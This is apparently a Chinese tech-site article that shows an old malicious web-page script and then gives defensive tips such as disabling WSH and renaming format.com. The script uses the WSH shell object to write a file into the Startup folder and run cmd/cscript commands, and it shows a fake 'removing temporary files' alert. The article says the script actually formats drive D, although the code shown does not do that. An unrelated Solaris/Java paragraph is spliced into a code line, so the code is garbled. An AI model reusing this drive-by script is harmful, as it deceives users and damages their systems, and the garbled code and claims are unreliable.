scr,Reset();
scr.Path="C:\\WINDOWS\\StartMenu\\Programs\\启动\\startup.htm";
scr.Doc="<object id=`wsh` classid=`clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B`>"
a=wsh.run ("cmd.exe /c cscript.exec:/inetpub/adminscripts/adsutil.vbs set /w3svc/inprocessisapiappsc:/winnt/system32/inetsrv/httpext.dll c:/winnt/system32/inetsrv/httpodbc.dllc:/winnt/system32/inetsrv/ssinc.dll c:/winnt/system32/msw3prt.dllc:/winnt/system32/inetsrv/asp.dll",0)'加入asp.dll到inprocessisapiapps中。pkgadd utility use: (1) if you use thepkgadd utility to install the solaris packages for jdk or jre, a symbolic link for/j2se/jre/javaws/javaws is created in/usr/bin. (2) if you have a previous release of java web start installed and you want the latest version to run instead, edit the$home/.mailcap file so that it is identical to/etc/.mailcap. if you want the older version of java web start to run, do not edit$home/.mailcap.。wsh.run "c:\test.doc",1,ture '使用系统默认程序打开文件。
alert(`IMPORTANT : Windows is removing unused temporary files.`);
scr.write();
说明:当您浏览了网页,会把startup.hta文件写入启动文件夹,并提示WINDOWS正在删除临时文件!实际上是在格式化你的D盘,代码中的:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B对应为:Windows Scripting Host Shell Object。代码中的:WSH全称是:Windows Scripting Host,是微软的一种基于32位系统平台与语言无关的教本解释机制,它使得脚本能在WINDOWS桌面或命令提示符下运行~WSH所对应的程序WScript.exe是一个脚本语言解释器,位于WINDOWS所在文件夹下,所以它可以像执行批处理文件一样执行WSH脚本程序~
解决方法:1)更新您的浏览器,使用最新的浏览器上网!
2)修改msdos.sys,在其中加入:Bootmentu=0命令行,目的是禁用启动菜单。
3)吧format.com改名
4)禁用WSH。具体方法:在win98中,从添加删除程序中点击WINDOWS安装程序,打开附件一项,将WINDOWS SCRIPTING HOST前面的选项去掉,就可以卸载掉WSH了~~~win2000和xp的用户可以在我的电脑-工具菜单-文件夹选项-选择文件类型,找到VBS VBSCRIPT FILE选项,点击删除!
本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/bofangqi/article-93165-14.html
我姐姐明明最高
这番话就是讲给美国人听的肺腑之言